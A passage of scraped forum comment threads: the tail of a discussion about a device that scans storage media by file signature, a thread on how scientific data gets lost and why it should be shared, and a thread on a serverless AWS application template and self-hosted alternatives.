(On the surface level, I can appreciate the technical hurdles required to get here. I just find it hard to believe that this could flag anyone even mildly computer-savvy.)

<comment><USER2> The article clearly states that the device searches several media types (CDs, DVDs, USB drives, even flash cards) and looks at file signatures instead of file extensions so things can't be hidden.

You didn't read the article very well.

<comment><USER12> Sorry I wasn't clear enough – I was trying to imply that sites like YouPorn, with an Alexa rank of 75 (source: <http://en.wikipedia.org/wiki/YouPorn>), eliminate the need for local storage (save the cache, thanks pipeline_tux).

Further, the article never said anything about video, which I would imagine has only grown in popularity over the past decade.</comment></comment></comment>


Jaz drives, spiral notebooks, and SCSI: how we lose scientific data - <AUTHOR> http://arstechnica.com/science/news/2010/11/preserving-science-how-data-gets-lost.ars

<comment><USER2> I used to backup all my stuff onto CD-R's, then DVD-R's. Now I get a 1TB drive and copy it to 4 other 1TB drives in various places. I also have an organisation system which declares EG OthersAlbums, or MyDocuments. Others[ETC] contains stuff I didn't create, My[ETC] is stuff I created myself.

I also have 2 16GB flash drives with just about everything I've created.

</comment><comment><USER3> >retrieving that sort of material may simply be impossible.

Bull, it may be difficult and expensive, but calling it impossible is just excuse-making; if it is _not worth it_ to recover the data is really a different matter than whether it is possible. When the data has actually been lost, _then_ it's impossible.

</comment><comment><USER4> Forgive me if this is ignorant. Referring to publicly funded projects only here - why isn't this data / source code / whatever published as part of the research paper, and archived by someone like the Library of Congress?

</comment><comment><USER5> I get it. Its hard. Its not simple. You still have to do it. unit testing and integration tests are hard in my line of work. They take time I could be spending creating stuff. They are an annoying interruption in my day. I still have to do them though. And after a while they pay off when the code gets bigger. Doing the work to share the data will pay off too, but first you have to do the sharing.</comment>


Serverless Fullstack Application Template - <AUTHOR> https://github.com/serverless-components/fullstack-app <comment><USER2> > Ready-to-use, serverless, full-stack application built with AWS Lambda, > Express.js, React, AWS DynamoDB and AWS HTTP API.

I was curious whether it supported anything other than AWS, on self-hosted "serverless" setups. The components (Lambda, DynamoDB, HTTP API) seem like there would be compatible open-source implementations.

As a complete novice to the "serverless" concept, I found this:

[https://www.serverless.com/framework/docs/providers/](https://www.serverless.com/framework/docs/providers/)

> Serverless Framework is deploying your code to a cloud provider like AWS, > Microsoft Azure, Google Cloud Platform, Apache OpenWhisk, Cloudflare > Workers, or a Kubernetes-based solution like Kubeless.

Filtering for self-hosted, looks like these are what I should start studying:

Kubeless - [https://kubeless.io/](https://kubeless.io/)

Fn - [https://fnproject.io/](https://fnproject.io/)

OpenFaaS - [https://www.openfaas.com/](https://www.openfaas.com/)

This last one is very interesting for me, but apparently not yet supported by the Serverless Framework. [https://forum.serverless.com/t/support-for- openfaas/3023](https://forum.serverless.com/t/support-for-openfaas/3023)

<comment><USER3> The biggest advantage of serverless development is that you don't need to concern yourself with the undifferentiated heavy lifting of self hosting and managing hardware, VM's, application updates, OS updates , networking, load balancing, etc and all the work that comes from that and focus on solving business problems immediately. Running it yourself will not necessarily add any additional benefit and you will will have wasted time and effort getting this entire set of complex infrastructure setup before you have developed any application code to actually solve business problems. Serverless is more than just Lambda, API Gateway and DynamoDB. There are all the other services you would need to spin up replacements for and manage over time; SQS, SNS, Kinesis, S3, etc including the inevitable delays yet again to get them setup for use by developers that just want to solve the business problem at hand.

<comment><USER4> Ha! The new infrastructure of cloud services was supposed to be easier. But it too has gotten complex, with managing VMs, app updates, OS updates, networking issues, load balancing etc.

All to get the often-vapor feature of 'scalability'. And it seems believable because these frameworks are so heavy, they run like slugs and need to scale almost immediately.

{old guy rant} In the old days, we got 1200 queries per second from our stock quote server, on a pathetic single-processor server with 12MB RAM. Didn't need to scale, not for 5 years.

<comment><USER3> The Serverless Framework doesn't add any load onto your application. It is essentially an Infrastructure as Code tool to help you compose an application out of a collection of managed services that are all pay per use and do not bill by the hour with no managing VMs, app updates, OS updates, networking issues, load balancing etc.

<comment><USER4> I'm sure! It sounds like a good service, since app folks are boxed in by the current paradigm.</comment></comment></comment></comment></comment>